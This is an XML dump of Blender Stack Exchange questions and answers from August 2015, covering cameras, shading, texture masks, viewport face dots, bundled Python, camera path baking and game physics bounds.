  <row Id="36323" PostTypeId="1" CreationDate="2015-08-24T19:10:50.967" Score="8" ViewCount="27706" Body="&lt;p&gt;When I open Blender, I usually see a lamp and a cube, but when I opened a minecraft rig .blend, it wasn't there. I tried using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;, but it didn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I clicked something that I can't remember, and it said no camera found.&lt;/p&gt;&#xA;" OwnerUserId="16660" LastEditorUserId="241" LastEditDate="2015-08-24T19:30:07.027" LastActivityDate="2015-08-25T04:30:02.490" Title="No camera found in blender" Tags="&lt;camera&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36324" PostTypeId="2" ParentId="36323" CreationDate="2015-08-24T19:13:42.787" Score="5" Body="&lt;p&gt;What happened, is that you opened the minecraft rig .blend, and it didn't have a camera in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make sure that you are in object mode, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and click Camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just move it to where you want it.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-08-24T19:57:35.307" LastActivityDate="2015-08-24T19:57:35.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36325" PostTypeId="2" ParentId="36323" CreationDate="2015-08-24T19:49:19.197" Score="6" Body="&lt;p&gt;It sounds like you are in &lt;em&gt;Pose Mode&lt;/em&gt;. To change that, simply click on a different object, say the minecraft guy (not the rig). Or in the 3D view header switch to &lt;em&gt;Object mode&lt;/em&gt;, then you will be able to add a camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of the add menu in pose mode. As you can see the camera, along with other object types are grayed out.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dA4Ln.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dA4Ln.png&quot; alt=&quot;add menu in pose mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-08-24T19:49:19.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36326" PostTypeId="1" CreationDate="2015-08-24T20:03:40.627" Score="1" ViewCount="456" Body="&lt;p&gt;When I launch Blender, it flashes the console on screen and then closes. I was able to see it failed to set to 48000Hz and saw a post that said I could open a console window from the blender folder and type &lt;code&gt;blender.exe -noaudio&lt;/code&gt;. However now it says error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXCEPTION_ILLEGAL_INSTRUCTION.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My specs are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU: intel i7-4790k&lt;/li&gt;&#xA;&lt;li&gt;GPU: gtx750 ti&lt;/li&gt;&#xA;&lt;li&gt;OS: Windows 7 enterprise 64-bit build 7600&lt;/li&gt;&#xA;&lt;li&gt;Motherboard: Gigabyte z97x-ud3h-bk&lt;/li&gt;&#xA;&lt;li&gt;RAM: 8GB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16661" LastEditorUserId="599" LastEditDate="2015-08-24T23:10:22.217" LastActivityDate="2015-08-24T23:10:22.217" Title="Blender crashes on startup" Tags="&lt;windows&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36328" PostTypeId="1" AcceptedAnswerId="36335" CreationDate="2015-08-24T21:25:13.823" Score="4" ViewCount="603" Body="&lt;p&gt;I have a mesh in Blender, imported from elsewhere. You can see individual triangles on it in a funny checkered pattern, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jsFER.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jsFER.png&quot; alt=&quot;Blender screenshot - half the triangles are darker&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is consistent with a popular bug where every other triangle is inverted, and you see half of them from the inside and half from the outside. But if you enable normal display, all the normals are facing outwards, as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh is available at &lt;a href=&quot;http://www.jishop.com/temp/4osh.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.jishop.com/temp/4osh.blend&lt;/a&gt; . Can someone please take a look at it explain the effect?&lt;/p&gt;&#xA;" OwnerUserId="14167" LastActivityDate="2015-08-25T03:08:10.163" Title="Lighting on triangles - every other one is darkish" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36329" PostTypeId="1" CreationDate="2015-08-24T21:44:51.853" Score="1" ViewCount="304" Body="&lt;p&gt;Basically there is 1 area and it is all 1 material.&#xA;It consists of 3 parts/UV maps: Mountain, Soil, and Beach. The UV maps &quot;overlap&quot; each other which means that the faces of transition between the parts are in both/all three of the UV maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The layers of the textures have an order: First there is the mountain, then there is the soil which covers a bit of the mountain, then there is the beach which covers some of the mountain and the soil. The soil and beach textures have slightly transparent parts at the transition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the general Color/Normal/Occlusion/Specularity setup for each of the textures. In the end the different parts shall all have their own diffuse and glossy shaders, the mountain f.e. gets a slightly red gloss to it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now there is the problem that the faces of the transition seem to be &quot;diffused twice&quot; you can see that they are way brighter:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZZcX2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZZcX2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;(note that it really is just the faces of the transition not the whole mountain even if it might look a little like this in the screenshot.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the node setup, sadly it is too small to read it:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nAzuB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nAzuB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least the .blend-file(too large for blend exchange):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose one:&#xA;&lt;a href=&quot;http://www.file-upload.net/download-10862405/area.blend.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.file-upload.net/download-10862405/area.blend.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.megafileupload.com/5157/area.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.megafileupload.com/5157/area.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To sum it up: Is there a way to diffuse it all with the same brightness whilst remaining separate color and normal maps plus separate specularity maps and glossy shaders. Aka &quot;how to set it up correctly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here are the textures packed in a .zip:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.file-upload.net/download-10862545/textures.zip.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.file-upload.net/download-10862545/textures.zip.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.megafileupload.com/5176/textures.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.megafileupload.com/5176/textures.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: The answer of PGmath might work but in my case it doesn't because the textures are &quot;hand painted&quot; and they already have transparent parts at the borders and stuff. Isn't there another way to achieve this? I cannot use the mask method, I'd have to do the whole thing again.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="11484" LastEditDate="2015-08-25T13:47:36.053" LastActivityDate="2015-08-25T13:57:55.060" Title="Cycles Node Editor: Double Diffuse problem" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36330" PostTypeId="1" CreationDate="2015-08-24T21:54:02.897" Score="3" ViewCount="55" Body="&lt;p&gt;I suspect the cause might be the naming conventions of the arms, but I'm not sure.  Here's a picture of the model and armature with names.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SSABG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SSABG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16662" LastActivityDate="2015-08-24T21:54:02.897" Title="Why doesn't pasting X flipped pose paste arm poses?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-24T23:03:41.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="36331" PostTypeId="1" CreationDate="2015-08-24T21:59:08.193" Score="5" ViewCount="554" Body="&lt;p&gt;In a forum somebody showed how the normal orientation looks for him:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QOyHL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QOyHL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for me it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lkQ7m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkQ7m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have this yellow dot at the end (or is it the start???) of the normal, so I think I can not say whether the normal direction is correct, or can I?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-08-24T22:26:08.040" LastActivityDate="2015-08-25T01:14:21.997" Title="Normal orientation does not show dot" Tags="&lt;mesh&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36333" PostTypeId="2" ParentId="36331" CreationDate="2015-08-24T22:46:29.357" Score="0" Body="&lt;p&gt;My guess is that the size of the dots got messed up.  Just go to &lt;em&gt;user preferences&lt;/em&gt; &gt; &lt;em&gt;themes&lt;/em&gt; &gt; &lt;em&gt;3D view&lt;/em&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XI14H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XI14H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then scroll down and adjust the &lt;em&gt;face dot size&lt;/em&gt; spinner:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pGVcj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pGVcj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-08-24T22:59:25.380" LastActivityDate="2015-08-24T22:59:25.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36334" PostTypeId="2" ParentId="36270" CreationDate="2015-08-24T23:17:19.710" Score="3" Body="&lt;p&gt;Tris can also be a benefit to make sure all faces are the exact same. For example, today while sculpting, I started from a cube, blender automatically triangulated the faces when I clicked &quot;dynamic topology&quot;, and, unfortunately for me, it didn't triangulate them symmetrically. When I was dome with my sculpt, looking over to make sure everything was symmetrical, look at the error that one little misplaced tri turned into! the entire side of the head is different (it still looks cool)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fyZ2e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyZ2e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Mx1XY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mx1XY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I plan to re-topo this before using in a game, so it won't cause me much trouble, but you can see the potential error that could have been avoided by manually dividing the faces into tris before I sculpted, rather than leaving it to the helpful, but clueless blender.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-24T23:17:19.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36335" PostTypeId="2" ParentId="36328" CreationDate="2015-08-25T00:18:08.997" Score="0" Body="&lt;p&gt;The triangles are all being displayed in 'Shade Flat' mode, which is the default. To change this, go to edit mode and select all faces (hit 'A' once or twice, until all triangles are selected). Then Hit 'W' then select 'Shade Smooth'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Shade Flat] mode is appropriate for modeling a faceted gemstone, or cut crystal glass, for example. Since blender cannot know ahead of time what type of shading you need, it defaults to 'Shade Flat'.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="16665" LastEditDate="2015-08-25T03:08:10.163" LastActivityDate="2015-08-25T03:08:10.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36337" PostTypeId="2" ParentId="36331" CreationDate="2015-08-25T00:53:27.393" Score="2" Body="&lt;p&gt;The face indicator &quot;dot&quot; is displayed in Wireframe Shading or Solid Viewport Shading while Textured Solid is disabled in Properties panel Shading section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kN31b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kN31b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b2M4l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b2M4l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-25T01:03:13.450" LastActivityDate="2015-08-25T01:03:13.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36338" PostTypeId="2" ParentId="36331" CreationDate="2015-08-25T01:02:43.807" Score="2" Body="&lt;p&gt;This is happening because you're using &lt;em&gt;Textured&lt;/em&gt; viewport shading. You need to select one of &lt;em&gt;Bounding Box&lt;/em&gt;, &lt;em&gt;Wireframe&lt;/em&gt;, &lt;em&gt;Solid&lt;/em&gt;, or &lt;em&gt;Material&lt;/em&gt; in order to see the face dots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Aon7r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aon7r.png&quot; alt=&quot;screenshot of viewport shading selector with check marks showing which ones enable face dot viewing&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you have Textured Solid enabled under Shading in the properties panel, the face dots will only be shown if you are using Wireframe or Bounding Box viewport shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Ijry.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Ijry.png&quot; alt=&quot;screenshot of the properties panel with Shading &amp;gt; Textured Solid circled&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="1253" LastEditDate="2015-08-25T01:14:21.997" LastActivityDate="2015-08-25T01:14:21.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36339" PostTypeId="1" AcceptedAnswerId="36496" CreationDate="2015-08-25T02:02:13.277" Score="1" ViewCount="1114" Body="&lt;p&gt;How to set child object world scale using python ?&#xA;(With the least amount of math possible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read the value I try to change from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.matrix_world.to_scale()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to modify this value to an other. Like &lt;code&gt;obj.matrix_world.ItsScale = (5,6,2)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="1363" LastEditDate="2015-08-26T09:30:36.073" LastActivityDate="2015-08-26T21:44:26.407" Title="How to set child object world scale using python?" Tags="&lt;python&gt;&lt;geometry&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36340" PostTypeId="2" ParentId="36329" CreationDate="2015-08-25T02:14:36.043" Score="5" Body="&lt;p&gt;I think you are going about what you are trying to accomplish the wrong way.  The way multiple different materials are usually combined is by using a &lt;em&gt;mask&lt;/em&gt;.  A mask is basically a black and white map where black areas correspond to one material and white areas correspond to another material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set this up in the node editor just use a &lt;em&gt;mix shader&lt;/em&gt; and plug the mask into the &lt;em&gt;fac&lt;/em&gt; input.  This will make lighter areas of the mask give the output shader more of the second input and darker areas give more of the first input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tT5B2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Note: make sure you set the image texture node for the mask to&lt;/em&gt; non-color data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a rendered visualization of just the mask plugged into a diffuse shader across a piece of randomly generated terrain:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aS5lJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aS5lJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a render with the same mask only in the above node setup:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jXicL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jXicL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for your case you will have to now go and create a mask which defines where each material should be.  To combine more than 2 materials just create multiple masks and use multiple mix shaders in succession.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-25T02:14:36.043" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36341" PostTypeId="1" AcceptedAnswerId="36352" CreationDate="2015-08-25T03:12:17.043" Score="2" ViewCount="220" Body="&lt;p&gt;I'm not really having any problems.&#xA;I've just recently downloaded &quot;make human&quot;.&#xA;on the download page it says it needs Python installed to work.&#xA;I haven't installed Python but it seems to work anyway.&#xA;And I'm assuming that's because Python must be bundled with the steam version of Blender.  because the version of blender I have was installed through the steam client.&#xA;If that wasn't already apparent.&lt;/p&gt;&#xA;" OwnerUserId="16313" LastActivityDate="2015-08-25T07:58:23.887" Title="Does the steam version of blender install Python automatically?" Tags="&lt;python&gt;&lt;makehuman&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36342" PostTypeId="2" ParentId="36341" CreationDate="2015-08-25T03:15:52.703" Score="0" Body="&lt;p&gt;All the full releases of MakeHuman come with python in them already. You don't need anything additional to run them. You would only need to install Python on it's own if you were trying to build the pure python branch from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think any version of Blender installs Python for you.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-25T03:15:52.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36343" PostTypeId="1" AcceptedAnswerId="36344" CreationDate="2015-08-25T03:30:07.150" Score="4" ViewCount="517" Body="&lt;p&gt;I have a camera following a path, by using the &quot;ctrl+p -&gt; follow path&quot; method. I noticed that during the animation, the camera position and rotation shown are constant (they are the ones the camera has at the start of the path). I actually need the camera position and orientation for every frame of the path. Is there a way to obtain that information?&lt;/p&gt;&#xA;" OwnerUserId="15758" LastActivityDate="2015-08-25T04:07:04.973" Title="Camera position and rotation while following path" Tags="&lt;animation&gt;&lt;camera&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36344" PostTypeId="2" ParentId="36343" CreationDate="2015-08-25T04:07:04.973" Score="0" Body="&lt;p&gt;You can bake the animation and clear parent to get the transform data of the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the camera, and in &lt;strong&gt;Object&lt;/strong&gt; menu select &lt;strong&gt;Animation&gt;Bake Action&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2dRVE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2dRVE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in &lt;strong&gt;Bake Action&lt;/strong&gt; menu enable &lt;strong&gt;Visual Keying&lt;/strong&gt; and &lt;strong&gt;Clear Parents&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will bake the location and rotation of the camera for every frame into an action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vLQ39.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLQ39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-08-25T04:07:04.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36345" PostTypeId="2" ParentId="36323" CreationDate="2015-08-25T04:30:02.490" Score="0" Body="&lt;p&gt;Another possible solution to a problem like this is to save the blend file you want to open to someplace on your system where you'll subsequently be able to find it. Then open a new instance of Blender, select the &quot;Open&quot; option in the file menu item, and navigate to where the file you want to open was saved. At the bottom of the navigation bar on the extreme left of the file browser window is a panel &quot;Open Blender file&quot;. If it minimized (that is, the triangle at the leftmost end of the line is oriented with a flat edge to the left, and a point to the right, click the triangle to maximize the panel. You will see to sub-menu items, each to the right of a checkbox, one is &quot;Load UI&quot;, which defaults to checked. Uncheck that box, and the file will be loaded with the current Blender UI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the other item in this submenu, &quot;Trusted source&quot;, should be unchecked, unless you know for certain that the file is from a trusted source. Checking this box means that any scripts which are set to autorun in the file will, indeed, autorun without you knowing for certain whether you want them to run or not. Making sure the box is unchecked allows you to verify that you do, indeed, want the scripts to run.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-25T04:30:02.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36346" PostTypeId="2" ParentId="36313" CreationDate="2015-08-25T04:39:53.950" Score="0" Body="&lt;p&gt;The best solution to your problem may be to use a different tool than snapping. If I were starting with your second image, and wanted to get to the first one, I would select the vertex you have selected in the second image, and use a vertex slide (&lt;kbd&gt;SHFT&lt;/kbd&gt; - &lt;kbd&gt;V&lt;/kbd&gt;). If the vertex was not exactly in the correct place after the slide, I'd use the move (&lt;kbd&gt;G&lt;/kbd&gt;) tool, perhaps constrained to an axis if that was necessary, to adjust it.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-25T04:39:53.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36347" PostTypeId="2" ParentId="36311" CreationDate="2015-08-25T04:45:45.877" Score="1" Body="&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; You can enable &lt;code&gt;Main Menu/Game/Show Physics Visualization&lt;/code&gt;. It allows you to see the physics mesh while running the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YUawf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YUawf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use the mesh object as presentation object and as physics object - ensure to select the right &lt;code&gt;Physics/Collision Bounds/Bounds&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use one of the primitive collision shapes (box, cylinder ...) the mesh should be symmetrical around the origin. This means the origin should be in the middle of the object. According to your description, this is not your current situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aiUF5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aiUF5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The origin of this mesh is not in the vertical middle. With the primitive shapes the mesh will be out of the bounding box and out of shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gloG0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gloG0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use detailed shapes the origin does not need to be at the middle. But they need much more processing power:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n3CU2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n3CU2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all cases the origin should be inside the bounding box of the mesh. Otherwise the physics might calculate results you do not expect.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-26T05:11:21.580" LastActivityDate="2015-08-26T05:11:21.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36348" PostTypeId="1" AcceptedAnswerId="36351" CreationDate="2015-08-25T05:26:22.113" Score="3" ViewCount="1095" Body="&lt;p&gt;I'm a newbie to Blender. When I texture my model using unwrapping, the change in texture at the seams is clearly visible. Is there any way to overcome this?&lt;/p&gt;&#xA;" OwnerUserId="16669" LastEditorUserId="1253" LastEditDate="2015-08-25T05:54:51.430" LastActivityDate="2015-08-25T07:38:56.087" Title="Seams are visible after texturing using UV unwrapping" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36351" PostTypeId="2" ParentId="36348" CreationDate="2015-08-25T07:38:56.087" Score="0" Body="&lt;p&gt;Use texture paint mode to paint your Mesh from scratch after UV unwrapping for complete control and burden.  You may not feel like a [newbie] after that experience.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-08-25T07:38:56.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36352" PostTypeId="2" ParentId="36341" CreationDate="2015-08-25T07:49:21.153" Score="1" Body="&lt;p&gt;Python is bundled with all versions of Blender, since 2.5 onwards. Many aspects of the UI are declared in python and it is therefor an integral part of the UI system (shipping without would be a world of hurt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Make Human docs the add-on comes with its own version of Python ( 2.7 ). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(...) there is a bundled python inside the build zips (...)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means you have at least two versions of python on your machine, one that Blender uses and one that Make Human uses, that's OK.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-25T07:58:23.887" LastActivityDate="2015-08-25T07:58:23.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
